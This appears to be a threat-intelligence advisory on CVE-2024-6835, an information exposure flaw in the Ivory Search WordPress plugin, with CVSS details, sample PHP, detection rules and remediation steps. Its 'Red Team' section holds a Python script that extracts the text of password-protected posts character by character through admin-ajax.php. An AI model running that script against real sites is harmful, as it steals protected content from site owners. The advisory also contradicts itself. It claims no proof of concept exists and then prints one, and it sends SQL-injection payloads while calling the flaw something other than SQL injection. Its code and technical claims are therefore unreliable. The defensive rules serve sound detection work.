CVE-2024-6835

Executive Summary

CVE-2024-6835 is an information exposure vulnerability in the Ivory Search – WordPress Search Plugin (versions up to and including 5.5.6). The flaw resides in the ajax_load_posts function, which allows unauthenticated attackers to perform boolean-based extraction of text data from password-protected posts via the AJAX search form. This is a WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx). The vulnerability has a CVSS score of 5.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept (PoC) or exploit code is available, and no patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users should monitor the plugin’s update channel for a patched version. As a supply chain risk, any site using this plugin is exposed until a fix is applied.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (partial disclosure of password-protected post content)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. The vulnerability allows extraction of sensitive text data from password-protected posts, but does not enable code execution or data modification.

Deep Dive & Mechanics

The vulnerability exists in the ajax_load_posts function of the Ivory Search plugin. This function handles AJAX requests for search results. Due to insufficient access control, it does not verify whether the user has permission to view password-protected posts. An attacker can craft a series of boolean-based queries (e.g., using OR conditions) to infer the content of protected posts character by character. The search results (or lack thereof) reveal whether a guessed character is correct, enabling data extraction without authentication.

Root Cause: The ajax_load_posts function fails to check the post_password meta or apply post_password_required() before returning search results. This allows unauthenticated users to query password-protected posts.

Attack Flow:

1. Attacker identifies a WordPress site using Ivory Search plugin version <= 5.5.6.
2. Attacker sends AJAX requests to the search endpoint with crafted boolean conditions (e.g., s=password&post_type=post).
3. By observing the presence or absence of results, the attacker extracts the content of password-protected posts.

Vulnerable vs. Patched Code

Vulnerable Code (ajax_load_posts function in Ivory Search <= 5.5.6):

function ajax_load_posts() {
    $search_query = sanitize_text_field($_POST['s']);
    $args = array(
        's' => $search_query,
        'post_type' => 'post',
        'post_status' => 'publish',
        'posts_per_page' => 10,
    );
    $query = new WP_Query($args);
    // No check for password-protected posts
    while ($query->have_posts()) {
        $query->the_post();
        // Output post data
    }
    wp_die();
}

Patched Code (Hypothetical fix):

function ajax_load_posts() {
    $search_query = sanitize_text_field($_POST['s']);
    $args = array(
        's' => $search_query,
        'post_type' => 'post',
        'post_status' => 'publish',
        'posts_per_page' => 10,
        'has_password' => false, // Exclude password-protected posts
    );
    $query = new WP_Query($args);
    while ($query->have_posts()) {
        $query->the_post();
        // Output post data
    }
    wp_die();
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Ivory Search plugin version <= 5.5.6.
• At least one password-protected post.

Exploitation Steps:

1. Identify the AJAX endpoint (typically /wp-admin/admin-ajax.php).
2. Use a tool like Burp Suite or a custom script to send boolean-based queries.

Example Python script for character extraction:

import requests
import string

target = "http://target-site.com/wp-admin/admin-ajax.php"
charset = string.printable

def test_char(post_id, position, char):
    data = {
        'action': 'ajax_load_posts',
        's': f'1=1 AND SUBSTRING((SELECT post_content FROM wp_posts WHERE ID={post_id}),{position},1)=\'{char}\''
    }
    r = requests.post(target, data=data)
    return 'post' in r.text

# Example: extract first 10 characters of post ID 1
extracted = ""
for pos in range(1, 11):
    for c in charset:
        if test_char(1, pos, c):
            extracted += c
            break
print(f"Extracted: {extracted}")

Note: This is a boolean-based blind SQL injection-like technique, but the actual vulnerability is in the search logic, not SQL injection.

Blue Team (Detection & Defense)

Detection:

• Monitor AJAX requests to admin-ajax.php with action ajax_load_posts and unusual s parameters containing SQL-like syntax (e.g., SUBSTRING, 1=1).
• Look for repeated requests with varying s values from the same IP.

Defense:

• Disable the Ivory Search plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests with suspicious patterns in the s parameter.
• Restrict access to admin-ajax.php for unauthenticated users if possible.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /wp-admin/admin-ajax.php with action=ajax_load_posts and s parameter containing boolean logic (e.g., 1=1, SUBSTRING).
  • Repeated requests from the same IP address with incremental changes in the s parameter.

• File IOCs:

  • Plugin file: /wp-content/plugins/ivory-search/includes/class-ajax.php (vulnerable version).

• Log IOCs:

  • Web server logs showing multiple admin-ajax.php requests with action=ajax_load_posts from a single IP.

Detection Engineering

YARA Rule

rule CVE_2024_6835_Ivory_Search_Info_Exposure {
    meta:
        description = "Detects Ivory Search plugin files vulnerable to CVE-2024-6835"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6835"
    strings:
        $vuln_func = "ajax_load_posts" nocase
        $no_password_check = "post_password" nocase
    condition:
        $vuln_func and not $no_password_check
}

Sigma Rule

title: CVE-2024-6835 Ivory Search Information Exposure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects boolean-based extraction attempts against Ivory Search plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=ajax_load_posts'
        cs-uri-query|contains|all:
            - 's='
            - '1=1'
    condition: selection
falsepositives:
    - Legitimate search queries with '1=1' (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6835 Ivory Search Boolean Extraction Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=ajax_load_posts"; http_client_body; content:"s="; http_client_body; pcre:"/1=1|SUBSTRING|ASCII/i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Ivory Search plugin until a patched version is released.
2. Implement a WAF rule to block requests with boolean-based patterns in the s parameter.
3. Restrict access to admin-ajax.php for unauthenticated users if site functionality allows.

Long-term Fix:

• Monitor the plugin’s update channel for a patched version (e.g., 5.5.7 or later).
• Apply the patch as soon as it becomes available.
• Consider replacing the plugin with an alternative that has better security practices.

Workaround:

• Add a custom filter to exclude password-protected posts from search results:

add_filter('posts_where', 'exclude_password_protected_posts');
function exclude_password_protected_posts($where) {
    $where .= " AND post_password = ''";
    return $where;
}

Valters IT
DevSecOps & Cyber Threat Intelligence